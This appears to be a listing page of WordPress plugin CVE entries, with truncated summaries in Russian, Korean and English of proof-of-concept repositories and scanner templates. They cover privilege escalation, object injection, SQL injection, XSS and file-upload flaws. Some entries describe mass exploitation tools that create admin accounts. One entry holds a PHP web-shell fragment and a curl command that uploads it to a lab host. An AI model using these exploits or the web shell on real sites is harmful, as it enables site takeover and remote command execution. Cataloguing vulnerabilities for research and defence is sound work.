CVE-2024-28000

LiteSpeed Cache Повышение привилегий PoC - CVE-2024-28000 🎤 Перевод README Английский Персидский 📸 Скриншот 💎 Введение Этот репозиторий содержит Proof of Concept PoC для критической уязвимости повышения привилегий, обнаруженной в плагине LiteSpeed Cache для WordPress. Уязвимость, идентифицированн...

CVE-2026-54806

WP Activity Log PHP Object Injection CVE-2026-54806 PoC 📜 Описание CVE-2026-54806 — это критическая CVSS 9.8 неаутентифицированная уязвимость PHP Object Injection в WordPress-плагине WP Activity Log wp-security-audit-log от Melapress. Неаутентифицированный злоумышленник может внедрить...

CVE-2026-13157

CVE-2026-13157 Theme Demo Import false при обработке загрузки. Аутентифицированный пользователь, обладающий правами импорта — например, администратор сайта по умолчанию или администратор сайта, не являющийся суперадминистратором, в архитектуре WordPress Multisite — может обойти ограничения на...

CVE-2026-8732

CVE-2026-8732 - WordPress WP Google Map Pro 대량 스캐너 및 자동 관리자 생성기 📌 설명 이 도구는 WordPress용 WP Google Map Pro 플러그인의 취약점인 CVE-2026-8732 를 악용합니다. 이 취약점은 인증되지 않은 공격자가 AJAX 엔드포인트admin-ajax.php?action=wpgmptempaccessajax를 통해 유효한 wpmptoken을 획득할 수 있게 합니다. 이 토큰을 사용하여 공격자는 WordPress 관리자 패널에 접근하고 새로운 관리자 사용자를 생성...

CVE-2026-13152

CVE-2026-13152: Неаутентифицированное повышение привилегий в Custom Fields Account Registration For WooCommerce 1.4 -blue.svg 📖 Обзор уведомления об уязвимости CVE-2026-13152 — это уязвимость неаутентифицированного повышения привилегий, затрагивающая плагин WordPress Custom Fields Account...

vanda-CVE-2025-3102

Vanda CVE-2025-3102 💣 Эксплойт с графическим интерфейсом для уязвимости CVE-2025-3102 в плагине WordPress SureTriggers = 1.0.78. 🚀 ФУНКЦИОНАЛ Определение уязвимых сайтов 🕵️‍♂️ Автоматическая эксплуатация с созданием пользователя-администратора 👨‍💻 Графический интерфейс в стиле киберпанк 🌌...

CVE-2025-6085

Make Connector shello.php ".shellexec$GET"cmd".""; ? EOF curl -k -X POST https://lab1.hacker/wp-json/wp/v2/media \ -H "IWC-API-KEY: YOURFRIENDLYKEYHERE" \ -F "[email protected]" \ -F "title=Hacker World" \ -F "description=A test file" \ -F "caption=Hacker Caption" \ 업로드 폴더에 셸이 위치하게 되면 다음과 같이...

CVE-2025-22352

1️⃣ Тип компонента Плагин WordPress 2️⃣ Детали компонента Component name ELEX WooCommerce Advanced Bulk Edit Products, Prices & Attributes Vulnerable version = 1.4.8 Component slug elex-bulk-edit-products-prices-attributes-for-woocommerce-basic Component link...

CVE-2023-3124

CVE-2023-3124 CVE-2023-3124 Доказательство концепции Это эксплойт доказательства концепции PoC для CVE-2023-3124, уязвимости в плагине Elementor Pro для WordPress. Описание: Плагин Elementor Pro для WordPress уязвим к несанкционированному изменению данных из-за отсутствия проверки возможностей в...

CVE-2023-3460

CVE-2023-3460 - Несанкционированный доступ администратора для плагина Ultimate Member POC Оценка CVSS: 9.1 Дата: 07/04/2023 Что такое плагин Ultimate Member? Плагин Ultimate Member — это популярный плагин членства для регистрации пользователей, у плагина 200 000+ активных установок. Быстрая...

CVE-2024-49668

🚨 CVE-2024-49668: Уязвимость произвольной загрузки файлов в плагине Verbalize WP для WordPress 📋 Обзор CVE-2024-49668 — критическая уязвимость в плагине Verbalize WP для WordPress версии 1.0 и ниже. Эта уязвимость позволяет неавторизованным злоумышленникам загружать произвольные файлы, включая...

CVE-2026-9833

CVE-2026-9833 Идентификатор CVE: CVE-2026-9833 Тип уязвимости: Межсайтовый скриптинг XSS – отражённый XSS CWE: CWE-79 – Некорректная нейтрализация входных данных при генерации веб-страницы 'Cross-site Scripting' Серьёзность: Высокая CISA ADP CVSS v3.1: 7.1 Обзор CVE-2026-9833 затрагивает плагин...

Accept Donations with PayPal <= 1.5.2 - Open Redirect

The Accept Donations with PayPal & Stripe plugin for WordPress is vulnerable to Open Redirect in all versions up to, and including, 1.5.2. This is due to insufficient validation on the redirect url supplied. This makes it possible for unauthenticated attackers to redirect users to potentially...

Mail Mint < 1.19.5 - Unauthenticated Email Disclosure

Mail Mint WordPress plugin 1.19.5 contains an information disclosure vulnerability caused by lack of authorization in a REST API endpoint, letting unauthenticated users retrieve email addresses of blog users, exploit requires no authentication. id: CVE-2026-2025 info: name: Mail Mint 1.19.5 -...

Masteriyo LMS <= 1.7.3 - Insecure Direct Object Reference

Authentication Bypass Using an Alternate Path or Channel vulnerability in Masteriyo Masteriyo - LMS. Unauth access to course progress.This issue affects Masteriyo - LMS: from n/a through 1.7.3. id: CVE-2024-33939 info: name: Masteriyo LMS = 1.7.3 - Insecure Direct Object Reference author:...

Tutor LMS <= 2.1.10 - SQL Injection

Tutor LMS – eLearning and online course solution plugin for WordPress all versions up to 2.6.1 contains a time-based SQL Injection caused by insufficient escaping on the questionid parameter in SQL queries, letting authenticated attackers with subscriber or higher access extract sensitive...

Broadstreet WordPress plugin - Reflected XSS

Broadstreet WordPress plugin 1.51.8 contains a reflected XSS caused by unsanitised and unescaped parameter output, letting attackers execute scripts against high privilege users such as admin, exploit requires victim interaction. id: CVE-2025-4652 info: name: Broadstreet WordPress plugin -...

IP2Location Country Blocker < 2.38.9 - Unauthenticated Information Disclosure

IP2Location Country Blocker plugin for WordPress up to version 2.38.8 contains a regular information exposure caused by missing capability checks on admininit, letting unauthenticated attackers view plugin settings, exploit requires no special conditions. id: CVE-2025-1361 info: name: IP2Location...

ThemeREX Addons - Remote Code Execution

ThemeREX Addons plugin before 2020-03-09 for WordPress contains an access control vulnerability in the /trxaddons/v2/get/sclayout REST API endpoint, allowing any users to execute PHP functions because includes/plugin.rest-api.php calls trxaddonsrestgetsclayout with an unsafe sc parameter, letting...

WP Google Maps < 9.0.48 - Cross-Site Scripting

WP Google Maps WordPress plugin 9.0.48 contains a stored XSS vulnerability caused by unsanitized user input in AJAX actions, letting unauthenticated attackers execute scripts via stored payloads. id: CVE-2025-11307 info: name: WP Google Maps 9.0.48 - Cross-Site Scripting author: 0xAkoko severity:...